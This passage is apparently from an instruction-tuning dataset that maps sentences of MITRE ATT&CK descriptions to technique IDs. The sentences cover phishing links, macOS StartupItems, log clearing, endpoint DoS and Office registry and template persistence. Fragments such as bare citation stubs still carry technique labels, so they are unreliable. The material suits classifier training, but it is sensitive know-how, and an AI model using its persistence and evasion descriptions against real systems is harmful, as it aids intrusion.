a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation:", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trend Micro Pawn Storm OAuth 2017)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trend Micro Pawn Storm OAuth 2017) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft OAuth 2.0", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft OAuth 2.0 ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Consent Phishing 2021)", "output": "T1566.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Consent Phishing 2021) ### Response: T1566.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items).", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra.", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence).", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, since StartupItems run during the bootup phase of macOS, they will run as root.", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "output": "T1165", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well. ### Response: T1165."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear system logs to hide evidence of an intrusion.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear system logs to hide evidence of an intrusion. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS and Linux both keep track of system or user-initiated actions via system logs.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS and Linux both keep track of system or user-initiated actions via system logs. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The majority of native system logging is stored under the <code>/var/log/</code> directory.", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The majority of native system logging is stored under the <code>/var/log/</code> directory. ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Login records\n* <code>/var/log/kern.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Login records\n* <code>/var/log/kern.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kernel logs\n*", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kernel logs\n* ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>/var/log/cron.log</code>:", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>/var/log/cron.log</code>: ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs", "output": "T1070.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs ### Response: T1070.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example services include websites, email services, DNS, and web-based applications.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example services include websites, email services, DNS, and web-based applications. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can target various layers of the application stack that is hosted on the system used to provide the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct DDoS attacks against networks and services.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct DDoS attacks against networks and services. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global internet.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global internet. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Sucuri BIND9 August 2015)", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Sucuri BIND9 August 2015) ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485),", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist user and global Registry keys for the Office Test feature:", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist user and global Registry keys for the Office Test feature: ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office contains templates that are part of common Office applications and are used to customize styles.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office contains templates that are part of common Office applications and are used to customize styles. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The base templates within the application are used each time an application starts.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The base templates within the application are used each time an application starts. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples for both Word and Excel have been discovered and published.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples for both Word and Excel have been discovered and published. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, Word has a Normal.dotm template created that can be modified to include a malicious macro.", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. ### Response: T1137.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation:", "output": "T1137.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 